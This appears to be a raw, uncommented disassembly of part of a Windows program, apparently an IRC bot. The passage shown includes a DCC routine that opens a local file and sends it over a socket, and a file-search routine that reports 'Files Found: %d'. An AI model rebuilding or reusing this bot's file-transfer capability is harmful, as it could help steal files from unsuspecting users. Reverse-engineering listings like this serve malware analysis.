		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C080	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40C080	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C095
		mov	edi, esi


loc_40C095:				; CODE XREF: ___:0040C091j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0AA
		mov	edi, esi


loc_40C0AA:				; CODE XREF: ___:0040C0A6j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C110	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C110	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C130	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C130	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C150	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C150	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C1B0	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
sub_40C1B0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C270	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C290	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C290	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2C0	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2E0	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C350	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C350	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C3BB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C3BB:				; CODE XREF: sub_40C3A0+11j
		retn
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C3F0	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C3F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C490	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C490
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C9DE
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C55C
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		nop
		call	sub_69BB85
		add	esp, 8
		jmp	loc_40C985
; ---------------------------------------------------------------------------


loc_40C55C:				; CODE XREF: sub_40C490+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5AA
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C650
; ---------------------------------------------------------------------------


loc_40C5AA:				; CODE XREF: sub_40C490+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C603:				; CODE XREF: sub_40C490+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C615
		mov	eax, 5Fh
		jmp	short loc_40C618
; ---------------------------------------------------------------------------


loc_40C615:				; CODE XREF: sub_40C490+17Cj
		movsx	eax, al


loc_40C618:				; CODE XREF: sub_40C490+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C603
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C66D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C650:				; CODE XREF: sub_40C490+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_40C97F
; ---------------------------------------------------------------------------


loc_40C66D:				; CODE XREF: sub_40C490+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 28F0000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C6D4
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		call	sub_69BB85
		nop
		add	esp, 8
		jmp	loc_40C97F
; ---------------------------------------------------------------------------


loc_40C6D4:				; CODE XREF: sub_40C490+201j
		push	0
		push	esi
		call	near ptr 28E0AFEh
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D608D
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_4439F0
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D6075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C7CD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_40C96A
; ---------------------------------------------------------------------------


loc_40C7CD:				; CODE XREF: sub_40C490+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		jmp	loc_40C96A
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C490+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C8D5


loc_40C82C:				; CODE XREF: sub_40C490+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C837
		mov	ebp, ebx


loc_40C837:				; CODE XREF: sub_40C490+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 28E0000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		call	near ptr 28D0B93h
		nop
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C99E
		cmp	edi, 1
		jl	loc_40C99E
		sub	ebx, edi
		jnz	loc_40C82C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C8D5:				; CODE XREF: sub_40C490+396j
		push	esi
		nop
		call	near ptr 28D0809h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C96A:				; CODE XREF: sub_40C490+338j
					; sub_40C490+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C97F:				; CODE XREF: sub_40C490+1D8j
					; sub_40C490+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C98C


loc_40C985:				; CODE XREF: sub_40C490+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C98C:				; CODE XREF: sub_40C490+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		call	near ptr 28D0000h
		nop


loc_40C99E:				; CODE XREF: sub_40C490+427j
					; sub_40C490+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D6075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		nop
		call	near ptr 28D0000h


loc_40C9DE:				; CODE XREF: sub_40C490+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C490	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CB60	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CB60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CB80:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBA0	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
sub_40CBA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC40	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC40
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE41
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443AC4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CDBB
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CDBB:				; CODE XREF: sub_40CC40+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014D3
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_401681
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_402257
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_69BB85
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE2C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_401681
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_401523
		add	esp, 10h


loc_40CE2C:				; CODE XREF: sub_40CC40+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E24
		add	esp, 4
		push	ebx
		call	near ptr 28D0000h
		nop
		pop	ebx


loc_40CE41:				; CODE XREF: sub_40CC40+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC40	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CEF0	proc near		; CODE XREF: sub_40198Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CEF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CEF0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CF70:				; CODE XREF: ___:loc_40226Bj
		push	0FFFFFFFFh
		push	offset loc_438E26
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
